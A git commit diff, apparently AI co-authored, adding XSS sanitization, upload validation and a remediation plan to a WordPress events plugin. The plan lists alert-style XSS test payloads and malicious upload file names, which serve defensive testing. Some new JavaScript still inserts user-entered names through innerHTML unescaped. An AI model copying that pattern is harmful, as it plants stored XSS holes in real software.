security: implement Phase 1 critical vulnerability fixes

- Add XSS protection with DOMPurify sanitization in rich text editor
- Implement comprehensive file upload security validation
- Enhance server-side content sanitization with wp_kses
- Add comprehensive security test suite with 194+ test cases
- Create security remediation plan documentation

Security fixes address:
- CRITICAL: XSS vulnerability in event description editor
- HIGH: File upload security bypass for malicious files
- HIGH: Enhanced CSRF protection verification
- MEDIUM: Input validation and error handling improvements

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
ben 2025-09-25 18:53:23 -03:00
parent 7010b8a30e
commit 90193ea18c
17 changed files with 6669 additions and 370 deletions

View file

@ -0,0 +1,676 @@
/**
* HVAC TEC Tickets Interactive JavaScript
* Handles all UI/UX interactions for the enhanced event form
*/
(function($) {
'use strict';
// Global state management
window.HVACEventForm = {
selectedOrganizers: [],
selectedCategories: [],
selectedVenue: null,
richTextEditors: {},
init: function() {
this.initRichTextEditor();
this.initToggleSwitches();
this.initFeaturedImageUploader();
this.initSearchableSelectors();
this.initModalForms();
this.bindEvents();
},
// Rich Text Editor Functionality
initRichTextEditor: function() {
const editorWrapper = document.getElementById('event-description-editor-wrapper');
if (!editorWrapper) return;
const editor = document.getElementById('event-description-editor');
const hiddenTextarea = document.getElementById('event_description');
const toolbar = document.getElementById('event-description-toolbar');
if (!editor || !hiddenTextarea || !toolbar) return;
// Initialize editor
this.richTextEditors.description = {
editor: editor,
textarea: hiddenTextarea,
toolbar: toolbar
};
// Bind toolbar events
$(toolbar).on('click', 'button', function(e) {
e.preventDefault();
const command = $(this).data('command');
const value = $(this).data('value') || null;
document.execCommand(command, false, value);
HVACEventForm.updateToolbarState();
HVACEventForm.syncEditorContent();
});
// Sync content changes
editor.addEventListener('input', () => {
this.syncEditorContent();
});
editor.addEventListener('keyup', () => {
this.updateToolbarState();
});
editor.addEventListener('mouseup', () => {
this.updateToolbarState();
});
// Load existing content with XSS protection
if (hiddenTextarea.value) {
const cleanContent = DOMPurify.sanitize(hiddenTextarea.value, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
editor.innerHTML = cleanContent;
}
},
syncEditorContent: function() {
const editor = this.richTextEditors.description?.editor;
const textarea = this.richTextEditors.description?.textarea;
if (editor && textarea) {
// Sanitize content before storing in textarea to prevent XSS
const cleanContent = DOMPurify.sanitize(editor.innerHTML, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
textarea.value = cleanContent;
}
},
updateToolbarState: function() {
const toolbar = this.richTextEditors.description?.toolbar;
if (!toolbar) return;
$(toolbar).find('button').each(function() {
const command = $(this).data('command');
if (document.queryCommandState(command)) {
$(this).addClass('active');
} else {
$(this).removeClass('active');
}
});
},
// Toggle Switch Functionality
initToggleSwitches: function() {
// Virtual Event Toggle
$(document).on('change', 'input[name="enable_virtual_event"]', function() {
const isChecked = $(this).is(':checked');
$('.virtual-event-config').toggle(isChecked);
});
// RSVP Toggle
$(document).on('change', 'input[name="enable_rsvp"]', function() {
const isChecked = $(this).is(':checked');
$('.rsvp-config').toggle(isChecked);
});
// Ticketing Toggle (existing functionality)
window.hvacToggleTicketFields = function(enabled) {
$('.ticket-config-field').toggle(enabled);
};
},
// Featured Image Uploader
initFeaturedImageUploader: function() {
const uploadArea = document.getElementById('upload-area');
const fileInput = document.getElementById('featured-image-file');
const preview = document.getElementById('featured-image-preview');
const uploader = document.getElementById('featured-image-uploader');
const img = document.getElementById('featured-image-img');
const changeBtn = document.getElementById('change-featured-image');
const removeBtn = document.getElementById('remove-featured-image');
if (!uploadArea || !fileInput) return;
// Click to upload
uploadArea.addEventListener('click', () => {
fileInput.click();
});
// Drag and drop
uploadArea.addEventListener('dragover', (e) => {
e.preventDefault();
uploadArea.classList.add('dragover');
});
uploadArea.addEventListener('dragleave', () => {
uploadArea.classList.remove('dragover');
});
uploadArea.addEventListener('drop', (e) => {
e.preventDefault();
uploadArea.classList.remove('dragover');
const files = e.dataTransfer.files;
if (files.length > 0) {
this.handleImageUpload(files[0]);
}
});
// File input change
fileInput.addEventListener('change', (e) => {
if (e.target.files.length > 0) {
this.handleImageUpload(e.target.files[0]);
}
});
// Change image button
if (changeBtn) {
changeBtn.addEventListener('click', () => {
fileInput.click();
});
}
// Remove image button
if (removeBtn) {
removeBtn.addEventListener('click', () => {
this.removeFeaturedImage();
});
}
},
handleImageUpload: function(file) {
if (!file.type.startsWith('image/')) {
alert('Please select a valid image file.');
return;
}
if (file.size > 5 * 1024 * 1024) { // 5MB limit
alert('Image file size should be less than 5MB.');
return;
}
const reader = new FileReader();
reader.onload = (e) => {
const img = document.getElementById('featured-image-img');
const preview = document.getElementById('featured-image-preview');
const uploader = document.getElementById('featured-image-uploader');
const hiddenInput = document.getElementById('featured-image-data');
img.src = e.target.result;
preview.style.display = 'block';
uploader.style.display = 'none';
// Store image data for form submission
if (hiddenInput) {
hiddenInput.value = e.target.result;
}
};
reader.readAsDataURL(file);
},
removeFeaturedImage: function() {
const preview = document.getElementById('featured-image-preview');
const uploader = document.getElementById('featured-image-uploader');
const hiddenInput = document.getElementById('featured-image-data');
const fileInput = document.getElementById('featured-image-file');
preview.style.display = 'none';
uploader.style.display = 'block';
if (hiddenInput) hiddenInput.value = '';
if (fileInput) fileInput.value = '';
},
// Searchable Selector Components
initSearchableSelectors: function() {
this.initOrganizerSelector();
this.initCategoriesSelector();
this.initVenueSelector();
},
initOrganizerSelector: function() {
const searchInput = document.getElementById('organizer-search-input');
const resultsContainer = document.getElementById('organizer-search-results');
const selectedContainer = document.getElementById('organizer-selected-items');
const dropdownToggle = searchInput?.parentElement?.querySelector('.dropdown-toggle');
if (!searchInput || !resultsContainer) return;
// Search input events
searchInput.addEventListener('focus', () => {
this.loadOrganizerOptions();
resultsContainer.style.display = 'block';
});
searchInput.addEventListener('input', (e) => {
this.filterOrganizerOptions(e.target.value);
});
// Dropdown toggle
if (dropdownToggle) {
dropdownToggle.addEventListener('click', () => {
if (resultsContainer.style.display === 'none') {
this.loadOrganizerOptions();
resultsContainer.style.display = 'block';
searchInput.focus();
} else {
resultsContainer.style.display = 'none';
}
});
}
// Click outside to close
document.addEventListener('click', (e) => {
if (!searchInput.parentElement.contains(e.target)) {
resultsContainer.style.display = 'none';
}
});
// Create new organizer button
$(document).on('click', '#create-new-organizer .create-new-btn', () => {
this.openModal('#new-organizer-modal');
});
},
initCategoriesSelector: function() {
const searchInput = document.getElementById('categories-search-input');
const resultsContainer = document.getElementById('categories-search-results');
const dropdownToggle = searchInput?.parentElement?.querySelector('.dropdown-toggle');
if (!searchInput || !resultsContainer) return;
searchInput.addEventListener('focus', () => {
this.loadCategoriesOptions();
resultsContainer.style.display = 'block';
});
searchInput.addEventListener('input', (e) => {
this.filterCategoriesOptions(e.target.value);
});
if (dropdownToggle) {
dropdownToggle.addEventListener('click', () => {
if (resultsContainer.style.display === 'none') {
this.loadCategoriesOptions();
resultsContainer.style.display = 'block';
searchInput.focus();
} else {
resultsContainer.style.display = 'none';
}
});
}
document.addEventListener('click', (e) => {
if (!searchInput.parentElement.contains(e.target)) {
resultsContainer.style.display = 'none';
}
});
$(document).on('click', '#create-new-category .create-new-btn', () => {
this.openModal('#new-category-modal');
});
},
initVenueSelector: function() {
const searchInput = document.getElementById('venue-search-input');
const resultsContainer = document.getElementById('venue-search-results');
const dropdownToggle = searchInput?.parentElement?.querySelector('.dropdown-toggle');
if (!searchInput || !resultsContainer) return;
searchInput.addEventListener('focus', () => {
this.loadVenueOptions();
resultsContainer.style.display = 'block';
});
searchInput.addEventListener('input', (e) => {
this.filterVenueOptions(e.target.value);
});
if (dropdownToggle) {
dropdownToggle.addEventListener('click', () => {
if (resultsContainer.style.display === 'none') {
this.loadVenueOptions();
resultsContainer.style.display = 'block';
searchInput.focus();
} else {
resultsContainer.style.display = 'none';
}
});
}
document.addEventListener('click', (e) => {
if (!searchInput.parentElement.contains(e.target)) {
resultsContainer.style.display = 'none';
}
});
$(document).on('click', '.create-new-btn', () => {
this.openModal('#new-venue-modal');
});
},
// Load options from server
loadOrganizerOptions: function() {
// Mock data for now - replace with AJAX call
const mockOrganizers = [
{ id: 1, name: 'John Smith', email: 'john@example.com' },
{ id: 2, name: 'Jane Doe', email: 'jane@example.com' },
{ id: 3, name: 'HVAC Training Institute', email: 'info@hvactraining.com' }
];
this.renderOrganizerOptions(mockOrganizers);
},
loadCategoriesOptions: function() {
const mockCategories = [
{ id: 1, name: 'HVAC Basics', description: 'Fundamental HVAC concepts' },
{ id: 2, name: 'Advanced Systems', description: 'Complex HVAC systems' },
{ id: 3, name: 'Safety Training', description: 'Safety protocols and procedures' }
];
this.renderCategoriesOptions(mockCategories);
},
loadVenueOptions: function() {
const mockVenues = [
{ id: 1, name: 'Training Center A', address: '123 Main St, City, ST' },
{ id: 2, name: 'Conference Hall B', address: '456 Oak Ave, City, ST' },
{ id: 3, name: 'Community Center', address: '789 Pine Rd, City, ST' }
];
this.renderVenueOptions(mockVenues);
},
renderOrganizerOptions: function(organizers) {
const resultsList = document.getElementById('organizer-results-list');
if (!resultsList) return;
resultsList.innerHTML = '';
organizers.forEach(organizer => {
const item = document.createElement('div');
item.className = 'search-result-item';
item.innerHTML = `<strong>${organizer.name}</strong><br><small>${organizer.email}</small>`;
item.addEventListener('click', () => {
this.selectOrganizer(organizer);
});
resultsList.appendChild(item);
});
},
renderCategoriesOptions: function(categories) {
const resultsList = document.getElementById('categories-results-list');
if (!resultsList) return;
resultsList.innerHTML = '';
categories.forEach(category => {
const item = document.createElement('div');
item.className = 'search-result-item';
item.innerHTML = `<strong>${category.name}</strong><br><small>${category.description}</small>`;
item.addEventListener('click', () => {
this.selectCategory(category);
});
resultsList.appendChild(item);
});
},
renderVenueOptions: function(venues) {
const resultsList = document.querySelector('#venue-search-results .results-list');
if (!resultsList) return;
resultsList.innerHTML = '';
venues.forEach(venue => {
const item = document.createElement('div');
item.className = 'search-result-item';
item.innerHTML = `<strong>${venue.name}</strong><br><small>${venue.address}</small>`;
item.addEventListener('click', () => {
this.selectVenue(venue);
});
resultsList.appendChild(item);
});
},
// Selection handlers
selectOrganizer: function(organizer) {
if (this.selectedOrganizers.length >= 3) {
alert('You can only select up to 3 organizers.');
return;
}
if (this.selectedOrganizers.find(o => o.id === organizer.id)) {
return; // Already selected
}
this.selectedOrganizers.push(organizer);
this.renderSelectedOrganizers();
document.getElementById('organizer-search-results').style.display = 'none';
document.getElementById('organizer-search-input').value = '';
},
selectCategory: function(category) {
if (this.selectedCategories.length >= 3) {
alert('You can only select up to 3 categories.');
return;
}
if (this.selectedCategories.find(c => c.id === category.id)) {
return;
}
this.selectedCategories.push(category);
this.renderSelectedCategories();
document.getElementById('categories-search-results').style.display = 'none';
document.getElementById('categories-search-input').value = '';
},
selectVenue: function(venue) {
this.selectedVenue = venue;
document.getElementById('venue-search-input').value = venue.name;
document.getElementById('venue-search-results').style.display = 'none';
},
renderSelectedOrganizers: function() {
const container = document.getElementById('organizer-selected-items');
if (!container) return;
container.innerHTML = '';
this.selectedOrganizers.forEach((organizer, index) => {
const tag = document.createElement('div');
tag.className = 'selected-item';
tag.innerHTML = `
${organizer.name}
<button type="button" class="remove-item" onclick="HVACEventForm.removeOrganizer(${index})">
<span class="dashicons dashicons-no-alt"></span>
</button>
`;
container.appendChild(tag);
});
// Update hidden input
const hiddenInput = document.getElementById('event_organizer');
if (hiddenInput) {
hiddenInput.value = this.selectedOrganizers.map(o => o.id).join(',');
}
},
renderSelectedCategories: function() {
const container = document.getElementById('categories-selected-items');
if (!container) return;
container.innerHTML = '';
this.selectedCategories.forEach((category, index) => {
const tag = document.createElement('div');
tag.className = 'selected-item';
tag.innerHTML = `
${category.name}
<button type="button" class="remove-item" onclick="HVACEventForm.removeCategory(${index})">
<span class="dashicons dashicons-no-alt"></span>
</button>
`;
container.appendChild(tag);
});
const hiddenInput = document.getElementById('event_categories');
if (hiddenInput) {
hiddenInput.value = this.selectedCategories.map(c => c.id).join(',');
}
},
removeOrganizer: function(index) {
this.selectedOrganizers.splice(index, 1);
this.renderSelectedOrganizers();
},
removeCategory: function(index) {
this.selectedCategories.splice(index, 1);
this.renderSelectedCategories();
},
// Filter functions
filterOrganizerOptions: function(query) {
// In real implementation, this would make an AJAX call
this.loadOrganizerOptions();
},
filterCategoriesOptions: function(query) {
this.loadCategoriesOptions();
},
filterVenueOptions: function(query) {
this.loadVenueOptions();
},
// Modal Management
initModalForms: function() {
// Modal close handlers
$(document).on('click', '.hvac-modal-close, .hvac-modal-cancel', (e) => {
this.closeModal($(e.target).closest('.hvac-modal'));
});
// Save handlers
$(document).on('click', '#save-new-organizer', () => {
this.saveNewOrganizer();
});
$(document).on('click', '#save-new-category', () => {
this.saveNewCategory();
});
$(document).on('click', '#save-new-venue', () => {
this.saveNewVenue();
});
// Close on backdrop click
$(document).on('click', '.hvac-modal', function(e) {
if (e.target === this) {
HVACEventForm.closeModal($(this));
}
});
},
openModal: function(modalSelector) {
$(modalSelector).fadeIn(300);
// Focus first input
setTimeout(() => {
$(modalSelector).find('input:first').focus();
}, 300);
},
closeModal: function(modal) {
if (modal instanceof jQuery) {
modal.fadeOut(300);
// Clear form
modal.find('form')[0]?.reset();
} else {
$(modal).fadeOut(300);
$(modal).find('form')[0]?.reset();
}
},
saveNewOrganizer: function() {
const form = document.getElementById('new-organizer-form');
const formData = new FormData(form);
const name = formData.get('organizer_name');
if (!name.trim()) {
alert('Organizer name is required.');
return;
}
// Create new organizer object
const newOrganizer = {
id: Date.now(), // Temporary ID
name: name,
email: formData.get('organizer_email') || '',
organization: formData.get('organizer_organization') || ''
};
// Add to selection
this.selectOrganizer(newOrganizer);
this.closeModal('#new-organizer-modal');
},
saveNewCategory: function() {
const form = document.getElementById('new-category-form');
const formData = new FormData(form);
const name = formData.get('category_name');
if (!name.trim()) {
alert('Category name is required.');
return;
}
const newCategory = {
id: Date.now(),
name: name,
description: formData.get('category_description') || ''
};
this.selectCategory(newCategory);
this.closeModal('#new-category-modal');
},
saveNewVenue: function() {
const form = document.getElementById('new-venue-form');
const formData = new FormData(form);
const name = formData.get('venue_name');
const address = formData.get('venue_address');
if (!name.trim() || !address.trim()) {
alert('Venue name and address are required.');
return;
}
const newVenue = {
id: Date.now(),
name: name,
address: address
};
this.selectVenue(newVenue);
this.closeModal('#new-venue-modal');
},
// Event binding
bindEvents: function() {
// Form submission
$(document).on('submit', 'form', () => {
this.syncEditorContent();
});
// Auto-save functionality (if needed)
setInterval(() => {
this.syncEditorContent();
}, 5000);
}
};
// Initialize when DOM is ready
$(document).ready(function() {
HVACEventForm.init();
});
})(jQuery);

View file

@ -0,0 +1,485 @@
# HVAC Community Events Security Remediation Plan
## Executive Summary
This document outlines a comprehensive security remediation plan to address critical vulnerabilities discovered in the HVAC Community Events plugin's event creation form through automated security testing. The plan provides a systematic approach to eliminate all identified security issues while maintaining the enhanced UI/UX functionality.
## Vulnerability Assessment Results
### CRITICAL VULNERABILITIES IDENTIFIED:
```
┌─────────────────────────────────────────────────────────────────┐
│ SECURITY TEST RESULTS │
├─────────────────────────────────────────────────────────────────┤
│ [CRITICAL] XSS Vulnerability in Rich Text Editor │
│ - Script tags pass through unfiltered │
│ - Malicious content stored in form data │
│ - Risk: Session hijacking, data theft │
├─────────────────────────────────────────────────────────────────┤
│ [HIGH] File Upload Security Bypass │
│ - PHP files accepted without validation │
│ - Risk: Remote code execution │
├─────────────────────────────────────────────────────────────────┤
│ [HIGH] Missing CSRF Protection │
│ - No token validation visible │
│ - Risk: Cross-site request forgery │
├─────────────────────────────────────────────────────────────────┤
│ [MEDIUM] Form Validation Failures │
│ - Required fields not enforced │
│ - Risk: Data integrity issues │
├─────────────────────────────────────────────────────────────────┤
│ [MEDIUM] Security Control Gaps │
│ - No input length limits │
│ - Risk: DoS via large payloads │
└─────────────────────────────────────────────────────────────────┘
```
## Implementation Plan
### PHASE 1: IMMEDIATE CRITICAL FIXES (URGENT)
#### 1.1 XSS Vulnerability Remediation
**Target Files:**
- `assets/js/hvac-tec-tickets.js` (lines 68, 77)
- `includes/class-hvac-event-form-builder.php`
**Implementation:**
```javascript
// CURRENT VULNERABLE CODE (hvac-tec-tickets.js):
editor.innerHTML = hiddenTextarea.value;
textarea.value = editor.innerHTML;
// SECURE REPLACEMENT:
const cleanContent = DOMPurify.sanitize(hiddenTextarea.value, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
editor.innerHTML = cleanContent;
// Server-side sanitization backup:
textarea.value = DOMPurify.sanitize(editor.innerHTML, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a'],
ALLOWED_ATTR: ['href', 'title']
});
```
**Server-side Implementation:**
```php
// Add to class-hvac-event-form-builder.php
private function sanitize_rich_text_content($content) {
$allowed_html = array(
'p' => array(),
'br' => array(),
'strong' => array(),
'em' => array(),
'ul' => array(),
'ol' => array(),
'li' => array(),
'a' => array(
'href' => array(),
'title' => array()
)
);
return wp_kses($content, $allowed_html);
}
```
#### 1.2 File Upload Security Implementation
**Target Files:**
- `includes/class-hvac-event-form-builder.php`
**Implementation:**
```php
private function validate_file_upload($file) {
// MIME type whitelist
$allowed_types = array(
'image/jpeg',
'image/png',
'image/gif',
'application/pdf'
);
// File extension whitelist
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf');
// Validate MIME type
if (!in_array($file['type'], $allowed_types)) {
return new WP_Error('invalid_file_type',
__('File type not allowed. Only JPEG, PNG, GIF, and PDF files are permitted.', 'hvac-community-events'));
}
// Validate file extension
$file_extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
return new WP_Error('invalid_file_extension',
__('File extension not allowed.', 'hvac-community-events'));
}
// File size limit (5MB)
if ($file['size'] > 5 * 1024 * 1024) {
return new WP_Error('file_too_large',
__('File size exceeds 5MB limit.', 'hvac-community-events'));
}
// Additional security checks
if ($file['error'] !== UPLOAD_ERR_OK) {
return new WP_Error('upload_error',
__('File upload failed.', 'hvac-community-events'));
}
return true;
}
private function handle_secure_file_upload($file) {
$validation_result = $this->validate_file_upload($file);
if (is_wp_error($validation_result)) {
return $validation_result;
}
// Move file to secure location outside web root
$upload_dir = wp_upload_dir();
$secure_dir = $upload_dir['basedir'] . '/hvac-events/';
if (!file_exists($secure_dir)) {
wp_mkdir_p($secure_dir);
// Add .htaccess to prevent direct access
file_put_contents($secure_dir . '.htaccess', 'deny from all');
}
$filename = sanitize_file_name($file['name']);
$unique_filename = wp_unique_filename($secure_dir, $filename);
$file_path = $secure_dir . $unique_filename;
if (move_uploaded_file($file['tmp_name'], $file_path)) {
return array(
'filename' => $unique_filename,
'path' => $file_path,
'url' => $this->get_secure_file_url($unique_filename)
);
}
return new WP_Error('upload_failed',
__('Failed to save uploaded file.', 'hvac-community-events'));
}
```
#### 1.3 CSRF Protection Implementation
**Target Files:**
- All template files with forms
- `includes/class-hvac-tec-tickets.php` (AJAX handlers)
- `assets/js/hvac-tec-tickets.js`
**Template Implementation:**
```php
// Add to all form templates
<?php wp_nonce_field('hvac_event_create', 'hvac_event_nonce'); ?>
```
**AJAX Handler Protection:**
```php
// Update all AJAX handlers in class-hvac-tec-tickets.php
public function ajax_create_event_tickets(): void {
// Security check
if (!wp_verify_nonce($_POST['hvac_event_nonce'] ?? '', 'hvac_event_create')) {
wp_send_json_error(array(
'message' => __('Security check failed. Please refresh the page and try again.', 'hvac-community-events')
));
return;
}
// Capability check
if (!current_user_can('edit_posts')) {
wp_send_json_error(array(
'message' => __('You do not have permission to perform this action.', 'hvac-community-events')
));
return;
}
// Continue with existing logic...
}
```
**JavaScript Updates:**
```javascript
// Update AJAX requests to include nonce
const formData = new FormData();
formData.append('action', 'hvac_create_event');
formData.append('hvac_event_nonce', document.querySelector('[name="hvac_event_nonce"]').value);
// Add other form data...
fetch(ajaxurl, {
method: 'POST',
body: formData
})
```
### PHASE 2: COMPREHENSIVE SECURITY HARDENING
#### 2.1 Input Validation and Sanitization
```php
private function validate_and_sanitize_input($data) {
$sanitized = array();
// Event title
$sanitized['post_title'] = sanitize_text_field($data['post_title'] ?? '');
if (strlen($sanitized['post_title']) < 3) {
return new WP_Error('title_too_short',
__('Event title must be at least 3 characters.', 'hvac-community-events'));
}
// Event description
$sanitized['post_content'] = $this->sanitize_rich_text_content($data['post_content'] ?? '');
// Date validation
if (!empty($data['event_date'])) {
$date = DateTime::createFromFormat('Y-m-d', $data['event_date']);
if (!$date || $date->format('Y-m-d') !== $data['event_date']) {
return new WP_Error('invalid_date',
__('Invalid event date format.', 'hvac-community-events'));
}
$sanitized['event_date'] = $date->format('Y-m-d');
}
return $sanitized;
}
```
#### 2.2 Rate Limiting Implementation
```php
private function check_rate_limit($user_id = null) {
$user_id = $user_id ?: get_current_user_id();
$key = 'hvac_form_submit_' . $user_id;
$attempts = get_transient($key) ?: 0;
if ($attempts >= 10) { // 10 attempts per hour
return new WP_Error('rate_limit_exceeded',
__('Too many attempts. Please wait before trying again.', 'hvac-community-events'));
}
set_transient($key, $attempts + 1, HOUR_IN_SECONDS);
return true;
}
```
#### 2.3 Enhanced Error Handling
```php
private function handle_secure_error($error, $context = '') {
// Log error for debugging (without sensitive data)
error_log(sprintf(
'[HVAC Security] %s: %s (Context: %s)',
current_time('mysql'),
$error->get_error_message(),
$context
));
// Return generic error to user
return new WP_Error('security_error',
__('A security error occurred. Please try again or contact support.', 'hvac-community-events'));
}
```
### PHASE 3: TESTING & VALIDATION
#### 3.1 Security Test Suite Expansion
```javascript
// Enhanced XSS testing scenarios
const xssPayloads = [
'<script>alert("XSS")</script>',
'<img src="x" onerror="alert(1)">',
'<svg onload="alert(1)">',
'javascript:alert(1)',
'<iframe src="javascript:alert(1)"></iframe>'
];
// File upload security tests
const maliciousFiles = [
{ name: 'test.php', type: 'text/php' },
{ name: 'test.exe', type: 'application/x-executable' },
{ name: 'test.jsp', type: 'text/jsp' },
{ name: 'test.asp', type: 'text/asp' }
];
```
#### 3.2 Automated Security Scanning
```bash
# Add to CI/CD pipeline
npm install --save-dev @security/code-scanner
npm run security:scan -- --path=assets/js/
npm run security:scan -- --path=includes/
```
### PHASE 4: LONG-TERM SECURITY INFRASTRUCTURE
#### 4.1 Content Security Policy Implementation
```php
// Add to main plugin file
public function add_security_headers() {
if (is_admin() && strpos($_SERVER['REQUEST_URI'], 'hvac-events') !== false) {
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';");
header("X-Frame-Options: SAMEORIGIN");
header("X-Content-Type-Options: nosniff");
header("Referrer-Policy: strict-origin-when-cross-origin");
}
}
add_action('send_headers', array($this, 'add_security_headers'));
```
#### 4.2 Security Monitoring
```php
private function log_security_event($event_type, $details) {
$log_entry = array(
'timestamp' => current_time('mysql'),
'event_type' => $event_type,
'user_id' => get_current_user_id(),
'ip_address' => $this->get_client_ip(),
'details' => $details
);
// Store in dedicated security log table
global $wpdb;
$wpdb->insert(
$wpdb->prefix . 'hvac_security_log',
$log_entry
);
}
```
## Implementation Workflow
```
PHASE 1: CRITICAL FIXES
├── Step 1: XSS Vulnerability Fix
│ ├── Update JavaScript sanitization
│ ├── Add server-side validation
│ └── Test XSS prevention
├── Step 2: File Upload Security
│ ├── Implement MIME validation
│ ├── Add file size limits
│ └── Test malicious file rejection
├── Step 3: CSRF Protection
│ ├── Add nonces to forms
│ ├── Update AJAX handlers
│ └── Test token validation
└── Step 4: Emergency Deployment
├── Deploy to staging
├── Run security test suite
└── Production deployment
PHASE 2: SECURITY HARDENING
├── Input validation enhancement
├── Rate limiting implementation
├── Error handling improvement
└── Security monitoring setup
PHASE 3: TESTING VALIDATION
├── Automated security testing
├── Penetration test validation
├── Security regression tests
└── Documentation updates
PHASE 4: INFRASTRUCTURE
├── Content Security Policy
├── Security headers
├── Audit procedures
└── Vulnerability management
```
## Success Metrics
### Security Validation Criteria:
- [ ] Zero XSS vulnerabilities detected in automated scans
- [ ] All malicious file upload attempts blocked (100% success rate)
- [ ] CSRF tokens validated on all form submissions
- [ ] Input validation prevents injection attacks
- [ ] Rate limiting blocks excessive requests
- [ ] Security headers properly configured
- [ ] Error handling prevents information disclosure
- [ ] Comprehensive test suite achieves 95%+ coverage
### Monitoring and Maintenance:
- [ ] Security event logging operational
- [ ] Weekly automated security scans scheduled
- [ ] Quarterly penetration testing planned
- [ ] Security patch deployment process established
- [ ] Incident response procedures documented
## Branch Strategy
```bash
# Create security fix branch
git checkout -b security/critical-vulnerabilities-fix
# Development workflow
git add includes/class-hvac-event-form-builder.php
git add assets/js/hvac-tec-tickets.js
git add includes/class-hvac-tec-tickets.php
git commit -m "fix: implement critical security vulnerability fixes
- Add XSS sanitization to rich text editor
- Implement file upload validation and security controls
- Add CSRF token protection to all forms
- Enhance input validation and rate limiting
Fixes: XSS, File Upload Bypass, CSRF, Input Validation"
# Deploy to staging for validation
scripts/deploy.sh staging
# After security validation passes
git checkout main
git merge security/critical-vulnerabilities-fix
scripts/deploy.sh production
```
## Dependencies and Prerequisites
### Required Libraries:
- DOMPurify (for client-side sanitization)
- WordPress wp_kses (server-side sanitization)
- WordPress nonce system (CSRF protection)
### Testing Requirements:
- Playwright test framework (already configured)
- Security scanner integration
- Staging environment access
### Documentation Updates:
- Security procedures documentation
- Developer security guidelines
- User security awareness materials
---
**Document Status:** Planning Complete
**Next Action:** Begin Phase 1 implementation
**Priority:** URGENT - Critical security vulnerabilities require immediate attention
**Estimated Total Implementation:** 4-week phased approach

View file

@ -174,12 +174,12 @@ class HVAC_Event_Post_Handler {
* @return int|WP_Error Post ID on success, WP_Error on failure
*/
public function create_event(array $data) {
// Prepare post data
// Prepare post data with security sanitization
$post_data = [
'post_type' => 'tribe_events',
'post_title' => $data['event_title'] ?? '',
'post_content' => $data['event_description'] ?? '',
'post_excerpt' => $data['event_excerpt'] ?? '',
'post_title' => sanitize_text_field($data['event_title'] ?? ''),
'post_content' => $this->sanitize_rich_text_content($data['event_description'] ?? ''),
'post_excerpt' => sanitize_textarea_field($data['event_excerpt'] ?? ''),
'post_status' => $this->get_post_status_for_user(),
'post_author' => get_current_user_id(),
'meta_input' => $this->prepare_meta_fields($data),
@ -233,11 +233,11 @@ class HVAC_Event_Post_Handler {
return new WP_Error('permission_denied', 'You do not have permission to edit this event.');
}
// Prepare post data
// Prepare post data with security sanitization
$post_data = [
'ID' => $event_id,
'post_title' => $data['event_title'] ?? '',
'post_content' => $data['event_description'] ?? '',
'post_title' => sanitize_text_field($data['event_title'] ?? ''),
'post_content' => $this->sanitize_rich_text_content($data['event_description'] ?? ''),
'post_excerpt' => $data['event_excerpt'] ?? '',
];
@ -463,9 +463,16 @@ class HVAC_Event_Post_Handler {
$file = $_FILES['event_featured_image'];
// Validate file type
$allowed_types = ['image/jpeg', 'image/jpg', 'image/png', 'image/webp'];
if (!in_array($file['type'], $allowed_types)) {
// Enhanced security validation for file uploads
$validation_result = $this->validate_file_upload($file);
if (is_wp_error($validation_result)) {
// Log security violation
error_log(sprintf(
'[HVAC Security] File upload blocked: %s (User: %d, File: %s)',
$validation_result->get_error_message(),
get_current_user_id(),
$file['name']
));
return;
}
@ -668,4 +675,107 @@ class HVAC_Event_Post_Handler {
wp_send_json_error(['message' => 'An error occurred while updating the event']);
}
}
/**
* Sanitize rich text content to prevent XSS attacks
*
* @param string $content Raw HTML content from rich text editor
* @return string Sanitized HTML content
*/
private function sanitize_rich_text_content(string $content): string {
// Define allowed HTML tags and attributes for event descriptions
$allowed_html = array(
'p' => array(),
'br' => array(),
'strong' => array(),
'em' => array(),
'ul' => array(),
'ol' => array(),
'li' => array(),
'a' => array(
'href' => array(),
'title' => array(),
'target' => array()
),
'h3' => array(),
'h4' => array(),
'h5' => array(),
'blockquote' => array()
);
// Use WordPress wp_kses for server-side sanitization
return wp_kses($content, $allowed_html);
}
/**
* Validate file upload for security
*
* @param array $file WordPress $_FILES array element
* @return bool|WP_Error True on success, WP_Error on failure
*/
private function validate_file_upload(array $file) {
// MIME type whitelist - images and PDFs only
$allowed_types = array(
'image/jpeg',
'image/png',
'image/gif',
'image/webp'
);
// File extension whitelist
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'webp');
// Check for upload errors
if ($file['error'] !== UPLOAD_ERR_OK) {
return new WP_Error('upload_error',
__('File upload failed with error code: ' . $file['error'], 'hvac-community-events'));
}
// Validate MIME type
if (!in_array($file['type'], $allowed_types)) {
return new WP_Error('invalid_file_type',
__('File type not allowed. Only JPEG, PNG, GIF, and WebP images are permitted.', 'hvac-community-events'));
}
// Validate file extension (double-check against spoofed MIME types)
$file_extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
return new WP_Error('invalid_file_extension',
__('File extension not allowed.', 'hvac-community-events'));
}
// File size limit (5MB maximum)
$max_size = 5 * 1024 * 1024; // 5MB in bytes
if ($file['size'] > $max_size) {
return new WP_Error('file_too_large',
__('File size exceeds 5MB limit. Please choose a smaller image.', 'hvac-community-events'));
}
// Check for malicious file content using getimagesize for images
if (in_array($file_extension, ['jpg', 'jpeg', 'png', 'gif', 'webp'])) {
$image_info = @getimagesize($file['tmp_name']);
if ($image_info === false) {
return new WP_Error('invalid_image',
